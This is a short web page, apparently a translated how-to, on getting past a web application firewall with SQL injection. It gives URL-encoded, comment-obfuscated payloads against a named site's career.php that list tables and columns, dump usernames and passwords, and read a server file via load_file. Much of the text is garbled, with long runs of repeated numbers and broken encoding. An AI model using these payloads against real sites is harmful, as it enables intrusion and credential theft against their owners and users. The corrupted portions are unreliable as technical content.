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Bypass waf injection

2025-02-24 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

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Shulou(Shulou.com)06/01 Report--

Waf filters keywords such as union select from.

1. List all tables in the current library

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4 % 28%53%45%4C%45%43%54%20%47%52%4F%55%50%5F%43%4F%4E%43%41%54%28%69%2E%54%41%42%4C%45%5F%4E%41%4D%45%2C%30%78%33%43%36%32%37%32%32%46%33%45%29%20%46%52%4F%4D%20%69%6E%66%6F%72%6D%61 % 74% 69% 6F% 6e% 5F% 73% 63% 68% 65% 6D% 61% 2e% 54% 41% 42% 4C% 45% 53% 20% 69% 20% 57% 48% 45% 52% 45% 20% 69% 2e% 54% 41% 42% 4C% 45% 5F% 53% 43% 45% 4D% 41% 20% 3D% 20% 64% 61% 71% 61% 62% 61% 73% 65% 28% 29% 296 7,8,9,10,11,12,13,14,15,16,17,18

two。 Get field

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,group_concat (COLUMN_NAME,0x3C2F62723E), 6, 7, 8, 9 10 and 11, 12, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 16, 17, 18, 14, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 14, 14, 10, 14, 14, 10, 14, 14, 10, 14, 14, 10, 12, 14, 14, 14, 14, 12, 12, 12, 12, 12, 12, 14, 14, 14, 14, 12, 14, 14, 14, 14, 14, 14, 16, 16, 18, 10, 12, 12, 12, 14, 14, 14, 10, 12, 12, 14, 14, 14, 14, 10, 12, 14, 10, 12, 14, 10, 12, 12, 14, 10, 12, 14, 14, 10, 12, 14, 10, 12, 12, 12, 12, 14, 10, 12, 12, 12, 12, 14, 14, 14, 10, 12, 14, 14, 14, 14, 14, 14, 14, 14, 10, 14, 14, 14, 14, 14, 14, 10, 14, 14, 14, 10, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 14, 16, 17, 18, 10, 12, 14, 14, 14, 14, 36% 31% 36% 37% 36% 35% 37% 32

3. Get data directly

Http://jyht.co.uk/career.php

? id=11/**/and/**/1=2/**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,group_concat (id,0x3d,username,0x3d,password,0x3C62722F3E), 5, 6, 7, 8, 9, 10, 11, 11, 13, 14, 15, 16, 17, 18, 12, 12, 12, 14, 15, 16, 17, 18, 6, 6, 6, 6, 5, 6, 6, 6, 5, 6, 6, 5, 6, 6, 6, 5, 6, 5, 6, 6, 5, 6, 6, 6, 5, 6, 5, 6, 6, 6, 6, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6,

4. Read files can be directly displayed on the page without hex (must be root)

Http://jyht.co.uk/career.php

Id=-11/**//**/%75%6E%69%6F%6E/**/SELECT/**/1,2,3,4,hex (load_file (0x443A5C776562736974655C6A696E797568656E67746F6E675C6A7968742E636F2E756B5C636C6173735C64625F6D7973716C2E636C6173732E706870)), 6, 7, 8, 9, 10, 11, 11, 14, 14, 15, 16, 17, 18

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